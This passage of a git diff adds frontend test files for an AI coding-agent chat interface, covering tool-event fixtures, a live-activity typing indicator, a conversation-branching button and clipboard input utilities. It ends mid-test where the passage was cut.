+++ b/__tests__/components/features/chat/tool-visualizers/test-utils.tsx
@@ -0,0 +1,217 @@
+import React from "react";
+import { renderWithProviders } from "test-utils";
+import {
+  ActionEvent,
+  ObservationEvent,
+  SecurityRisk,
+} from "#/types/agent-server/core";
+import {
+  ExecuteBashAction,
+  FileEditorAction,
+  GrepAction,
+  TaskAction,
+} from "#/types/agent-server/core/base/action";
+import {
+  ExecuteBashObservation,
+  FileEditorObservation,
+  GrepObservation,
+  GlobObservation,
+  TerminalObservation,
+  TaskObservation,
+} from "#/types/agent-server/core/base/observation";
+
+/** Renders a visualizer body with the standard chat providers. */
+export const renderVisualizer = (ui: React.ReactElement) =>
+  renderWithProviders(ui);
+
+const actionEnvelope = (id: string, toolName: string) => ({
+  id,
+  timestamp: "2024-01-01T00:00:00Z",
+  source: "agent" as const,
+  thought: [],
+  thinking_blocks: [],
+  tool_name: toolName,
+  tool_call_id: `call_${id}`,
+  tool_call: {
+    id: `call_${id}`,
+    type: "function" as const,
+    function: { name: toolName, arguments: "{}" },
+  },
+  llm_response_id: `resp_${id}`,
+  security_risk: SecurityRisk.LOW,
+});
+
+const observationEnvelope = (id: string, toolName: string) => ({
+  id,
+  timestamp: "2024-01-01T00:00:00Z",
+  source: "environment" as const,
+  tool_name: toolName,
+  tool_call_id: `call_${id}`,
+  action_id: `action_${id}`,
+});
+
+export const bashAction = (
+  command: string,
+  risk: SecurityRisk = SecurityRisk.LOW,
+): ActionEvent<ExecuteBashAction> => ({
+  ...actionEnvelope("bash", "execute_bash"),
+  security_risk: risk,
+  action: {
+    kind: "ExecuteBashAction",
+    command,
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+});
+
+export const bashObservation = (
+  output: string,
+  exitCode: number | null,
+  command = "echo hi",
+): ObservationEvent<ExecuteBashObservation> => ({
+  ...observationEnvelope("bash", "execute_bash"),
+  observation: {
+    kind: "ExecuteBashObservation",
+    content: [{ type: "text", text: output }],
+    command,
+    exit_code: exitCode,
+    error: exitCode !== 0,
+    timeout: false,
+    metadata: {
+      exit_code: exitCode ?? 0,
+      pid: 1,
+      username: "openhands",
+      hostname: "runtime",
+      prefix: "",
+      suffix: "",
+      working_dir: "/workspace",
+      py_interpreter_path: null,
+    },
+  },
+});
+
+export const terminalObservation = (
+  output: string,
+  exitCode: number | null,
+  command = "ls",
+): ObservationEvent<TerminalObservation> => ({
+  ...observationEnvelope("terminal", "terminal"),
+  observation: {
+    kind: "TerminalObservation",
+    content: [{ type: "text", text: output }],
+    command,
+    exit_code: exitCode,
+    is_error: exitCode !== 0,
+    timeout: false,
+    metadata: {
+      exit_code: exitCode ?? 0,
+      pid: 1,
+      username: "openhands",
+      hostname: "runtime",
+      prefix: "",
+      suffix: "",
+      working_dir: "/workspace",
+      py_interpreter_path: null,
+    },
+  },
+});
+
+export const fileEditorAction = (
+  action: Partial<FileEditorAction> &
+    Pick<FileEditorAction, "command" | "path">,
+): ActionEvent<FileEditorAction> => ({
+  ...actionEnvelope("fe", "file_editor"),
+  action: {
+    kind: "FileEditorAction",
+    file_text: null,
+    old_str: null,
+    new_str: null,
+    insert_line: null,
+    view_range: null,
+    ...action,
+  },
+});
+
+export const fileEditorObservation = (
+  observation: Partial<FileEditorObservation> &
+    Pick<FileEditorObservation, "command">,
+): ObservationEvent<FileEditorObservation> => ({
+  ...observationEnvelope("fe", "file_editor"),
+  observation: {
+    kind: "FileEditorObservation",
+    output: "",
+    path: "/workspace/app.ts",
+    prev_exist: true,
+    old_content: null,
+    new_content: null,
+    error: null,
+    ...observation,
+  },
+});
+
+export const grepAction = (
+  action: Partial<GrepAction> & Pick<GrepAction, "pattern">,
+): ActionEvent<GrepAction> => ({
+  ...actionEnvelope("grep", "grep"),
+  action: { kind: "GrepAction", path: null, include: null, ...action },
+});
+
+export const grepObservation = (
+  observation: Partial<GrepObservation> & Pick<GrepObservation, "pattern">,
+): ObservationEvent<GrepObservation> => ({
+  ...observationEnvelope("grep", "grep"),
+  observation: {
+    kind: "GrepObservation",
+    content: [],
+    is_error: false,
+    matches: [],
+    search_path: "/workspace",
+    include_pattern: null,
+    truncated: false,
+    ...observation,
+  },
+});
+
+export const globObservation = (
+  observation: Partial<GlobObservation> & Pick<GlobObservation, "pattern">,
+): ObservationEvent<GlobObservation> => ({
+  ...observationEnvelope("glob", "glob"),
+  observation: {
+    kind: "GlobObservation",
+    content: [],
+    is_error: false,
+    files: [],
+    search_path: "/workspace",
+    truncated: false,
+    ...observation,
+  },
+});
+
+export const taskAction = (
+  action: Partial<TaskAction> & Pick<TaskAction, "prompt">,
+): ActionEvent<TaskAction> => ({
+  ...actionEnvelope("task", "task"),
+  action: {
+    kind: "TaskAction",
+    subagent_type: "code-explorer",
+    description: null,
+    resume: null,
+    ...action,
+  },
+});
+
+export const taskObservation = (
+  observation: Partial<TaskObservation> = {},
+): ObservationEvent<TaskObservation> => ({
+  ...observationEnvelope("task", "task"),
+  observation: {
+    kind: "TaskObservation",
+    content: [{ type: "text", text: "## Summary\n\nAll done." }],
+    is_error: false,
+    task_id: "task_00000001",
+    subagent: "code-explorer",
+    status: "completed",
+    ...observation,
+  },
+});
diff --git a/__tests__/components/features/chat/typing-indicator.test.ts b/__tests__/components/features/chat/typing-indicator.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2426b62e79a20c86196333b9c46d6e95f78354d3
--- /dev/null
+++ b/__tests__/components/features/chat/typing-indicator.test.ts
@@ -0,0 +1,294 @@
+import { describe, expect, it } from "vitest";
+import { deriveLiveActivity } from "#/components/features/chat/typing-indicator";
+import {
+  SecurityRisk,
+  type ActionEvent,
+  type ObservationEvent,
+  type UserRejectObservation,
+} from "#/types/agent-server/core";
+import type { Action } from "#/types/agent-server/core/base/action";
+import type { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+import type { OHEvent } from "#/stores/use-event-store";
+
+const makeActionEvent = (
+  id: string,
+  action: Action,
+  summary?: string,
+): ActionEvent => ({
+  id,
+  timestamp: `2026-07-27T18:00:${id.padStart(2, "0")}Z`,
+  source: "agent",
+  thought: [],
+  thinking_blocks: [],
+  action,
+  tool_name: action.kind,
+  tool_call_id: `tool-${id}`,
+  tool_call: {
+    id: `tool-${id}`,
+    type: "function",
+    function: {
+      name: action.kind,
+      arguments: "{}",
+    },
+  },
+  llm_response_id: `response-${id}`,
+  security_risk: SecurityRisk.LOW,
+  summary,
+});
+
+const makeObservationEvent = (
+  id: string,
+  action: ActionEvent,
+): ObservationEvent => ({
+  id,
+  timestamp: `2026-07-27T18:01:${id.padStart(2, "0")}Z`,
+  source: "environment",
+  tool_name: action.tool_name,
+  tool_call_id: action.tool_call_id,
+  action_id: action.id,
+  observation: {
+    kind: "TerminalObservation",
+    content: [],
+    command: "git status",
+    exit_code: 0,
+    is_error: false,
+    timeout: false,
+    metadata: {
+      exit_code: 0,
+      pid: 1,
+      username: "openhands",
+      hostname: "runtime",
+      prefix: "",
+      suffix: "",
+      working_dir: "/workspace/project",
+      py_interpreter_path: null,
+    },
+  },
+});
+
+const makeUserRejectObservation = (
+  id: string,
+  action: ActionEvent,
+): UserRejectObservation => ({
+  id,
+  timestamp: `2026-07-27T18:01:${id.padStart(2, "0")}Z`,
+  source: "environment",
+  tool_name: action.tool_name,
+  tool_call_id: action.tool_call_id,
+  action_id: action.id,
+  rejection_reason: "Rejected by user",
+});
+
+const makeACPEvent = (
+  id: string,
+  status: ACPToolCallEvent["status"],
+): ACPToolCallEvent => ({
+  id: `${id}-${status ?? "legacy"}`,
+  timestamp: "2026-07-27T18:02:00Z",
+  kind: "ACPToolCallEvent",
+  source: "agent",
+  tool_call_id: id,
+  title: "Read README.md",
+  status,
+  tool_kind: "read",
+  raw_input: null,
+  raw_output: null,
+  content: null,
+  is_error: status === "failed",
+});
+
+describe("deriveLiveActivity", () => {
+  it.each([
+    {
+      name: "terminal command",
+      action: {
+        kind: "TerminalAction",
+        command: "git status",
+        is_input: false,
+        timeout: null,
+        reset: false,
+      } satisfies Action,
+      expected: {
+        kind: "translation",
+        key: "ACTION_MESSAGE$RUN",
+        values: { command: "git status" },
+      },
+    },
+    {
+      name: "file read",
+      action: {
+        kind: "FileEditorAction",
+        command: "view",
+        path: "README.md",
+        file_text: null,
+        old_str: null,
+        new_str: null,
+        insert_line: null,
+        view_range: null,
+      } satisfies Action,
+      expected: {
+        kind: "translation",
+        key: "ACTION_MESSAGE$READ",
+        values: { path: "README.md" },
+      },
+    },
+    {
+      name: "code search",
+      action: {
+        kind: "GrepAction",
+        pattern: "VITE_",
+        path: null,
+        include: null,
+      } satisfies Action,
+      expected: {
+        kind: "translation",
+        key: "ACTION_MESSAGE$GREP",
+        values: { pattern: "VITE_" },
+      },
+    },
+  ])("describes an unresolved $name", ({ action, expected }) => {
+    const event = makeActionEvent("1", action);
+
+    expect(deriveLiveActivity([event])).toEqual(expected);
+  });
+
+  it("moves to the next unresolved regular action as observations arrive", () => {
+    const first = makeActionEvent("1", {
+      kind: "TerminalAction",
+      command: "npm test",
+      is_input: false,
+      timeout: null,
+      reset: false,
+    });
+    const second = makeActionEvent("2", {
+      kind: "FileEditorAction",
+      command: "view",
+      path: "README.md",
+      file_text: null,
+      old_str: null,
+      new_str: null,
+      insert_line: null,
+      view_range: null,
+    });
+    const secondObservation = makeObservationEvent("3", second);
+    const firstObservation = makeObservationEvent("4", first);
+
+    expect(deriveLiveActivity([first, second, secondObservation])).toEqual({
+      kind: "translation",
+      key: "ACTION_MESSAGE$RUN",
+      values: { command: "npm test" },
+    });
+    expect(
+      deriveLiveActivity([first, second, secondObservation, firstObservation]),
+    ).toEqual({
+      kind: "translation",
+      key: "ACTION_MESSAGE$THINK",
+      values: {},
+    });
+  });
+
+  it("treats a rejected regular action as resolved", () => {
+    const rejected = makeActionEvent("1", {
+      kind: "TerminalAction",
+      command: "rm -rf build",
+      is_input: false,
+      timeout: null,
+      reset: false,
+    });
+
+    expect(
+      deriveLiveActivity([rejected, makeUserRejectObservation("2", rejected)]),
+    ).toEqual({
+      kind: "translation",
+      key: "ACTION_MESSAGE$THINK",
+      values: {},
+    });
+  });
+
+  it("shows the next unresolved action after a newer action is rejected", () => {
+    const remaining = makeActionEvent("1", {
+      kind: "TerminalAction",
+      command: "git status",
+      is_input: false,
+      timeout: null,
+      reset: false,
+    });
+    const rejected = makeActionEvent("2", {
+      kind: "TerminalAction",
+      command: "npm publish",
+      is_input: false,
+      timeout: null,
+      reset: false,
+    });
+
+    expect(
+      deriveLiveActivity([
+        remaining,
+        rejected,
+        makeUserRejectObservation("3", rejected),
+      ]),
+    ).toEqual({
+      kind: "translation",
+      key: "ACTION_MESSAGE$RUN",
+      values: { command: "git status" },
+    });
+  });
+
+  it.each([
+    "completed",
+    "failed",
+    null,
+  ] satisfies readonly ACPToolCallEvent["status"][])(
+    "drops an ACP label when the same call becomes %s",
+    (terminalStatus) => {
+      const started = makeACPEvent("acp-read", "in_progress");
+
+      expect(deriveLiveActivity([started])).toEqual({
+        kind: "translation",
+        key: "ACTION_MESSAGE$ACP_READ",
+        values: { title: "README.md" },
+      });
+      expect(
+        deriveLiveActivity([started, makeACPEvent("acp-read", terminalStatus)]),
+      ).toEqual({
+        kind: "translation",
+        key: "ACTION_MESSAGE$THINK",
+        values: {},
+      });
+    },
+  );
+
+  it("falls back to Thinking for unsupported and planning-only actions", () => {
+    const unsupported = makeActionEvent("1", {
+      kind: "SwitchLLMAction",
+      profile_name: "fast",
+      reason: "Short task",
+    });
+    const planningOnly = {
+      ...makeActionEvent("2", {
+        kind: "TerminalAction",
+        command: "git status",
+        is_input: false,
+        timeout: null,
+        reset: false,
+      }),
+      isFromPlanningAgent: true,
+    } satisfies OHEvent;
+
+    expect(deriveLiveActivity([unsupported])).toEqual({
+      kind: "translation",
+      key: "ACTION_MESSAGE$THINK",
+      values: {},
+    });
+    expect(deriveLiveActivity([planningOnly])).toEqual({
+      kind: "translation",
+      key: "ACTION_MESSAGE$THINK",
+      values: {},
+    });
+    expect(deriveLiveActivity([])).toEqual({
+      kind: "translation",
+      key: "ACTION_MESSAGE$THINK",
+      values: {},
+    });
+  });
+});
diff --git a/__tests__/components/features/chat/user-assistant-event-message.test.tsx b/__tests__/components/features/chat/user-assistant-event-message.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..06412cda07ca5b59d8bfef58bfced9ebf4c47326
--- /dev/null
+++ b/__tests__/components/features/chat/user-assistant-event-message.test.tsx
@@ -0,0 +1,269 @@
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+import type { MessageEvent } from "#/types/agent-server/core";
+import { I18nKey } from "#/i18n/declaration";
+import { UserAssistantEventMessage } from "#/components/conversation-events/chat/event-message-components/user-assistant-event-message";
+import { useConversationStore } from "#/stores/conversation-store";
+import ConversationService from "#/api/conversation-service/conversation-service.api";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import type { DirectConversationInfo } from "#/api/agent-server-adapter";
+
+const {
+  useActiveBackendMock,
+  useOptionalConversationIdMock,
+  setMessageToSendMock,
+  navigateMock,
+} = vi.hoisted(() => ({
+  useActiveBackendMock: vi.fn(),
+  useOptionalConversationIdMock: vi.fn(),
+  setMessageToSendMock: vi.fn(),
+  navigateMock: vi.fn(),
+}));
+
+// These provide test context (backend kind, conversation id, navigation); the
+// fork behaviour is exercised through the real hook against a mocked service
+// (per the repo convention: mock the service, not the hook).
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => useOptionalConversationIdMock(),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => useActiveBackendMock(),
+}));
+
+vi.mock("#/context/navigation-context", async (importActual) => ({
+  ...(await importActual<object>()),
+  useNavigation: () => ({ navigate: navigateMock }),
+}));
+
+// test-utils re-inits i18n with empty resources, so `t()` returns the key —
+// which becomes the button's accessible name (aria-label).
+const BRANCH_LABEL = I18nKey.CHAT_INTERFACE$BRANCH_FROM_HERE;
+const forkResult = { id: "fork-123" } as DirectConversationInfo;
+
+let forkSpy: ReturnType<typeof vi.spyOn>;
+let parentSpy: ReturnType<typeof vi.spyOn>;
+
+const makeEvent = (source: "user" | "agent", id: string): MessageEvent =>
+  ({
+    id,
+    source,
+    timestamp: "2024-01-01T00:00:00.000Z",
+    llm_message: {
+      role: source === "user" ? "user" : "assistant",
+      content: [{ type: "text", text: "Hello world" }],
+    },
+    critic_result: null,
+  }) as unknown as MessageEvent;
+
+// A user message with only an image (no text) — parses to an empty string.
+const makeImageOnlyEvent = (id: string): MessageEvent =>
+  ({
+    id,
+    source: "user",
+    timestamp: "2024-01-01T00:00:00.000Z",
+    llm_message: {
+      role: "user",
+      content: [{ type: "image", image_urls: ["data:image/png;base64,AAAA"] }],
+    },
+    critic_result: null,
+  }) as unknown as MessageEvent;
+
+const renderMessage = (event: MessageEvent) =>
+  renderWithProviders(
+    <UserAssistantEventMessage
+      event={event}
+      isLastMessage={false}
+      isFromPlanningAgent={false}
+    />,
+  );
+
+describe("UserAssistantEventMessage — branch action", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    useActiveBackendMock.mockReset();
+    useOptionalConversationIdMock.mockReset();
+    setMessageToSendMock.mockReset();
+    navigateMock.mockReset();
+
+    useActiveBackendMock.mockReturnValue({
+      backend: { kind: "local" },
+      orgId: null,
+    });
+    useOptionalConversationIdMock.mockReturnValue({ conversationId: "conv-1" });
+
+    useConversationStore.setState({ setMessageToSend: setMessageToSendMock });
+    ConversationService.setCurrentConversation(null);
+
+    forkSpy = vi
+      .spyOn(AgentServerConversationService, "forkConversation")
+      // Modern backend (>= 1.31.0): the fork's HEAD (leaf_event_id) is exactly
+      // the requested branch point, confirming the message was excluded.
+      .mockImplementation((_source, fromEventId) =>
+        Promise.resolve({
+          ...forkResult,
+          leaf_event_id: fromEventId,
+        } as unknown as DirectConversationInfo),
+      );
+    // Default: the message has a parent (the common case), so edit-mode
+    // branches before it.
+    parentSpy = vi
+      .spyOn(AgentServerConversationService, "getEventParentId")
+      .mockResolvedValue("evt-parent");
+  });
+
+  it("branches an assistant message inclusively, without a parent lookup or prefill", async () => {
+    renderMessage(makeEvent("agent", "evt-agent"));
+
+    // Actions only appear on hover.
+    fireEvent.mouseEnter(screen.getByTestId("agent-message"));
+    fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+    await waitFor(() =>
+      expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123"),
+    );
+    expect(parentSpy).not.toHaveBeenCalled();
+    expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-agent", undefined);
+    expect(setMessageToSendMock).not.toHaveBeenCalled();
+  });
+
+  it("edits a user message: branches at its parent and loads its text into the composer", async () => {
+    renderMessage(makeEvent("user", "evt-user"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+    await waitFor(() =>
+      expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-parent", undefined),
+    );
+    expect(parentSpy).toHaveBeenCalledWith("conv-1", "evt-user");
+    expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123");
+    await waitFor(() =>
+      expect(setMessageToSendMock).toHaveBeenCalledWith(
+        expect.stringContaining("Hello world"),
+      ),
+    );
+  });
+
+  it("does not prefill the composer when the message has no parent (inclusive fallback)", async () => {
+    parentSpy.mockResolvedValue(undefined);
+    renderMessage(makeEvent("user", "evt-user"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+    await waitFor(() =>
+      expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-user", undefined),
+    );
+    expect(setMessageToSendMock).not.toHaveBeenCalled();
+  });
+
+  it("titles the fork distinctly from its source conversation", async () => {
+    ConversationService.setCurrentConversation({
+      id: "conv-1",
+      title: "Trip planning",
+    } as AppConversation);
+    renderMessage(makeEvent("user", "evt-user"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+    await waitFor(() =>
+      expect(forkSpy).toHaveBeenCalledWith(
+        "conv-1",
+        "evt-parent",
+        "Trip planning (branch)",
+      ),
+    );
+  });
+
+  it("does not prefill when the backend ignored from_event_id (older agent-server)", async () => {
+    // leaf_event_id != requested branch point => the message was NOT excluded
+    // (the fork copied the whole conversation), so prefilling would duplicate.
+    forkSpy.mockImplementation(() =>
+      Promise.resolve({
+        ...forkResult,
+        leaf_event_id: "some-other-leaf",
+      } as unknown as DirectConversationInfo),
+    );
+    renderMessage(makeEvent("user", "evt-user"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+    await waitFor(() =>
+      expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123"),
+    );
+    expect(setMessageToSendMock).not.toHaveBeenCalled();
+  });
+
+  it("branches an image-only user message inclusively (keeps the image, no prefill)", async () => {
+    renderMessage(makeImageOnlyEvent("evt-img"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+    // No text to edit → branch at the message (inclusive), no parent lookup,
+    // no prefill, so the image is not dropped.
+    await waitFor(() =>
+      expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-img", undefined),
+    );
+    expect(parentSpy).not.toHaveBeenCalled();
+    expect(setMessageToSendMock).not.toHaveBeenCalled();
+  });
+
+  it("omits the fork title when the tracked conversation is a different one", async () => {
+    // Stale/other conversation in the shared singleton — must not be used.
+    ConversationService.setCurrentConversation({
+      id: "other-conv",
+      title: "Stale title",
+    } as AppConversation);
+    renderMessage(makeEvent("user", "evt-user"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+    await waitFor(() =>
+      expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-parent", undefined),
+    );
+  });
+
+  it("ignores a second click while a fork is already in flight", async () => {
+    renderMessage(makeEvent("user", "evt-user"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    const button = screen.getByRole("button", { name: BRANCH_LABEL });
+    fireEvent.click(button);
+    fireEvent.click(button);
+
+    await waitFor(() => expect(forkSpy).toHaveBeenCalled());
+    expect(forkSpy).toHaveBeenCalledTimes(1);
+  });
+
+  it("hides the branch action on the cloud backend", () => {
+    useActiveBackendMock.mockReturnValue({
+      backend: { kind: "cloud" },
+      orgId: null,
+    });
+
+    renderMessage(makeEvent("user", "evt-user"));
+
+    fireEvent.mouseEnter(screen.getByTestId("user-message"));
+    expect(
+      screen.queryByRole("button", { name: BRANCH_LABEL }),
+    ).not.toBeInTheDocument();
+  });
+
+  it("hides the branch action outside of a conversation", () => {
+    useOptionalConversationIdMock.mockReturnValue({ conversationId: undefined });
+
+    renderMessage(makeEvent("agent", "evt-agent"));
+
+    fireEvent.mouseEnter(screen.getByTestId("agent-message"));
+    expect(
+      screen.queryByRole("button", { name: BRANCH_LABEL }),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/chat/utils/chat-input.utils.test.ts b/__tests__/components/features/chat/utils/chat-input.utils.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2eb7e903b2636a0369bd82dd5760be3da9eef164
--- /dev/null
+++ b/__tests__/components/features/chat/utils/chat-input.utils.test.ts
@@ -0,0 +1,347 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+  clearEmptyContent,
+  clearFileInput,
+  clearTextContent,
+  ensureCursorVisible,
+  focusContentEditableAtEnd,
+  getClipboardFiles,
+  getTextContent,
+  isContentEmpty,
+  isPastedClipboardImage,
+  normalizePastedFile,
+  partitionImagesForUpload,
+} from "#/components/features/chat/utils/chat-input.utils";
+
+afterEach(() => {
+  vi.restoreAllMocks();
+});
+
+function createFileList(files: File[]): FileList {
+  const list = {
+    length: files.length,
+    item: (index: number) => files[index] ?? null,
+  } as FileList & Record<number, File>;
+  for (let i = 0; i < files.length; i += 1) {
+    list[i] = files[i];
+  }
+  return list;
+}
+
+function createMockDataTransfer({
+  files = [],
+  items = [],
+}: {
+  files?: File[];
+  items?: Array<{ kind: string; type: string; file: File | null }>;
+}): DataTransfer {
+  const fileItems = items.map((entry) => ({
+    kind: entry.kind,
+    type: entry.type,
+    getAsFile: () => entry.file,
+  }));
+
+  return {
+    files: createFileList(files),
+    items: fileItems as unknown as DataTransferItemList,
+    getData: () => "",
+  } as unknown as DataTransfer;
+}
+
+describe("normalizePastedFile", () => {
+  it("returns the file unchanged when it already has a name", () => {
+    const file = new File(["x"], "photo.png", { type: "image/png" });
+    expect(normalizePastedFile(file)).toBe(file);
+  });
+
+  it("assigns a generated name for unnamed clipboard images", () => {
+    const file = new File(["x"], "", { type: "image/png" });
+    const normalized = normalizePastedFile(file);
+    expect(normalized.name).toMatch(/^pasted-image-\d+\.png$/);
+    expect(normalized.type).toBe("image/png");
+    expect(normalized.size).toBe(file.size);
+  });
+
+  it.each([
+    ["image/jpeg", "jpg"],
+    ["image/jpg", "jpg"],
+    ["image/gif", "gif"],
+    ["image/webp", "webp"],
+    ["image/bmp", "bmp"],
+    ["image/avif", "png"],
+    ["application/octet-stream", "bin"],
+  ])("uses the stable extension for %s", (type, extension) => {
+    vi.spyOn(Date, "now").mockReturnValue(1234);
+    const normalized = normalizePastedFile(
+      new File(["x"], "   ", { type, lastModified: 99 }),
+    );
+
+    expect(normalized.name).toBe(`pasted-image-1234.${extension}`);
+    expect(normalized.lastModified).toBe(99);
+  });
+});
+
+describe("isPastedClipboardImage", () => {
+  it("returns true for normalized clipboard screenshot names", () => {
+    const file = new File(["x"], "pasted-image-1710000000000.png", {
+      type: "image/png",
+    });
+    expect(isPastedClipboardImage(file)).toBe(true);
+  });
+
+  it("returns false for images picked from the file dialog", () => {
+    const file = new File(["x"], "photo.png", { type: "image/png" });
+    expect(isPastedClipboardImage(file)).toBe(false);
+  });
+
+  it("matches normalized names case-insensitively", () => {
+    expect(
+      isPastedClipboardImage(
+        new File(["x"], "PASTED-IMAGE-1710000000000.WEBP"),
+      ),
+    ).toBe(true);
+  });
+});
+
+describe("partitionImagesForUpload", () => {
+  it("splits marked images into the file-upload bucket", () => {
+    const embed = new File(["a"], "embed.png", { type: "image/png" });
+    const upload = new File(["b"], "upload.png", { type: "image/png" });
+
+    const result = partitionImagesForUpload([embed, upload], ["upload.png"]);
+
+    expect(result.imagesToEmbed).toEqual([embed]);
+    expect(result.imagesAsFiles).toEqual([upload]);
+  });
+
+  it("handles empty input and duplicate mark names", () => {
+    expect(partitionImagesForUpload([], ["missing.png"])).toEqual({
+      imagesToEmbed: [],
+      imagesAsFiles: [],
+    });
+    const image = new File(["a"], "same.png", { type: "image/png" });
+    expect(partitionImagesForUpload([image], ["same.png", "same.png"])).toEqual(
+      {
+        imagesToEmbed: [],
+        imagesAsFiles: [image],
+      },
+    );
+  });
+});
+
+describe("getClipboardFiles", () => {
+  it("reads from clipboardData.files when present", () => {
+    const file = new File(["x"], "doc.txt", { type: "text/plain" });
+    const clipboard = createMockDataTransfer({ files: [file] });
+
+    expect(getClipboardFiles(clipboard)).toEqual([file]);
+  });
+
+  it("normalizes unnamed files from clipboardData.files", () => {
+    const file = new File(["x"], "", { type: "application/pdf" });
+    const clipboard = createMockDataTransfer({ files: [file] });
+
+    expect(getClipboardFiles(clipboard)[0].name).toMatch(
+      /^pasted-image-\d+\.bin$/,
+    );
+  });
+
+  it("falls back to clipboard items for screenshot-style image paste", () => {
+    const image = new File(["pixels"], "", { type: "image/png" });
+    const clipboard = createMockDataTransfer({
+      items: [{ kind: "file", type: "image/png", file: image }],
+    });
+
+    const result = getClipboardFiles(clipboard);
+    expect(result).toHaveLength(1);
+    expect(result[0].type).toBe("image/png");
+    expect(result[0].name).toMatch(/^pasted-image-\d+\.png$/);
+  });
+
+  it("ignores non-file clipboard items", () => {
+    const clipboard = createMockDataTransfer({
+      items: [
+        {
+          kind: "string",
+          type: "text/plain",
+          file: new File(["not a clipboard file"], "ignored.txt"),
+        },
+      ],
+    });
+
+    expect(getClipboardFiles(clipboard)).toEqual([]);
+  });
+
+  it("ignores file items that do not expose a File", () => {
+    const clipboard = createMockDataTransfer({
+      items: [{ kind: "file", type: "image/png", file: null }],
+    });
+
+    expect(getClipboardFiles(clipboard)).toEqual([]);
+  });
+});
+
+describe("module-initialized clipboard contracts", () => {
+  it("preserves file extensions, normalized names, and editable text", async () => {
+    vi.resetModules();
+    const fresh =
+      await import("#/components/features/chat/utils/chat-input.utils");
+    vi.spyOn(Date, "now").mockReturnValue(1234);
+
+    for (const [type, extension] of [
+      ["image/png", "png"],
+      ["image/jpeg", "jpg"],
+      ["image/jpg", "jpg"],
+      ["image/gif", "gif"],
+      ["image/webp", "webp"],
+      ["image/bmp", "bmp"],
+    ]) {
+      expect(
+        fresh.normalizePastedFile(new File(["x"], "", { type })).name,
+      ).toBe(`pasted-image-1234.${extension}`);
+    }
+
+    const named = (name: string) =>
+      fresh.isPastedClipboardImage(new File(["x"], name));
+    expect(named("pasted-image-1710000000000.png")).toBe(true);
+    expect(named("prefix-pasted-image-1710000000000.png")).toBe(false);
+    expect(named("pasted-image-1710000000000.png.extra")).toBe(false);
+
+    const editable = document.createElement("div");
+    editable.innerText = "message";
+    expect(fresh.getTextContent(editable)).toBe("message");
+  });
+});
+
+describe("content-editable helpers", () => {
+  it("detects empty elements across null, innerText, and textContent", () => {
+    expect(isContentEmpty(null)).toBe(true);
+
+    const element = document.createElement("div");
+    element.innerText = "visible";
+    element.textContent = "fallback";
+    expect(isContentEmpty(element)).toBe(false);
+
+    element.innerText = "";
+    element.textContent = " fallback ";
+    expect(isContentEmpty(element)).toBe(false);
+
+    element.textContent = " \n ";
+    expect(isContentEmpty(element)).toBe(true);
+
+    element.innerText = "";
+    element.textContent = "";
+    expect(isContentEmpty(element)).toBe(true);
+  });
+
+  it("clears only empty editable content", () => {
+    clearEmptyContent(null);
+    const nonempty = document.createElement("div");
+    nonempty.innerText = "keep";
+    nonempty.innerHTML = "<b>keep</b>";
+    clearEmptyContent(nonempty);
+    expect(nonempty.innerHTML).toBe("<b>keep</b>");
+
+    const empty = document.createElement("div");
+    empty.innerText = " ";
+    empty.innerHTML = "<br>";
+    clearEmptyContent(empty);
+    expect(empty.innerHTML).toBe("");
+    expect(empty.textContent).toBe("");
+  });
+
+  it("gets and clears editable text and file inputs safely", () => {
+    expect(getTextContent(null)).toBe("");
+    const editable = document.createElement("div");
+    editable.innerText = "message";
+    expect(getTextContent(editable)).toBe("message");
+    editable.textContent = "message";
+    clearTextContent(editable);
+    expect(editable.textContent).toBe("");
+    clearTextContent(null);
+
+    const input = document.createElement("input");
+    input.value = "C:\\fakepath\\file.txt";
+    clearFileInput(input);
+    expect(input.value).toBe("");
+    clearFileInput(null);
+  });
+
+  it("scrolls only when the cursor falls below the visible input", () => {
+    const element = document.createElement("div");
+    Object.defineProperties(element, {
+      scrollHeight: { configurable: true, value: 200 },
+      clientHeight: { configurable: true, value: 80 },
+    });
+    vi.spyOn(element, "getBoundingClientRect").mockReturnValue({
+      bottom: 100,
+    } as DOMRect);
+    const range = {
+      getBoundingClientRect: vi.fn(() => ({ bottom: 120 }) as DOMRect),
+    } as unknown as Range;
+    vi.spyOn(window, "getSelection").mockReturnValue({
+      rangeCount: 1,
